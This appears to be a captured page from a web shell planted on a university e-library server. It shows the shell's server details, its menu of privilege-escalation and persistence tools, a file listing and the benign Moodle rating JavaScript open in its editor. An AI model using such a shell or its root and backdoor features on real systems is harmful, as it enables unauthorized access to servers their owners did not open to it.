Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64
Microsoft-IIS/10.0
Server IP : & Your IP : 18.219.66.32
Domains :
Cant Read [ /etc/named.conf ]
User : elibrary.unsap.ac.id
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
D: /
localhost /
lms /
rating /
Delete
Unzip
Name
Size
Permission
Date
Action
classes
[ DIR ]
drwxrwxrwx
2024-07-03 16:09
tests
[ DIR ]
drwxrwxrwx
2022-12-30 22:36
index.php
5.42
KB
-rw-rw-rw-
2022-01-31 00:06
lib.php
51.52
KB
-rw-rw-rw-
2022-01-31 00:06
module.js
2.78
KB
-rw-rw-rw-
2022-01-31 00:06
rate.php
4.05
KB
-rw-rw-rw-
2022-01-31 00:06
rate_ajax.php
2.69
KB
-rw-rw-rw-
2022-01-31 00:06
Save
Rename
M.core_rating = { Y : null, api: M.cfg.wwwroot + '/rating/rate_ajax.php', init : function(Y){ this.Y = Y; Y.all('select.postratingmenu').each(this.attach_rating_events, this); //hide the submit buttons this.Y.all('input.postratingmenusubmit').setStyle('display', 'none'); }, attach_rating_events : function(selectnode) { selectnode.on('change', this.submit_rating, this, selectnode); }, submit_rating : function(e, selectnode){ var theinputs = selectnode.ancestor('form').all('.ratinginput'); var thedata = []; var inputssize = theinputs.size(); for (var i = 0; i < inputssize; i++) { if(theinputs.item(i).get("name") != "returnurl") { // Dont include return url for ajax requests. thedata[theinputs.item(i).get("name")] = theinputs.item(i).get("value"); } } var scope = this; var cfg = { method: 'POST', on: { complete : function(tid, outcome, args) { try { if (!outcome) { alert('IO FATAL'); return false; } var data = scope.Y.JSON.parse(outcome.responseText); if (data.success){ //if the user has access to the aggregate then update it if (data.itemid) { //do not test data.aggregate or data.count otherwise it doesn't refresh value=0 or no value var itemid = data.itemid; var node = scope.Y.one('#ratingaggregate' + itemid); node.set('innerHTML',data.aggregate); // Empty the count value if no ratings. var node = scope.Y.one('#ratingcount' + itemid); if (data.count > 0) { node.set('innerHTML', "(" + data.count + ")"); } else { node.set('innerHTML', ""); } } return true; } else if (data.error) { alert(data.error); } } catch(e) { alert(e.message + " " + outcome.responseText); } return false; } }, arguments: { scope: scope }, headers: { }, data: build_querystring(thedata) }; this.Y.io(this.api, cfg); } };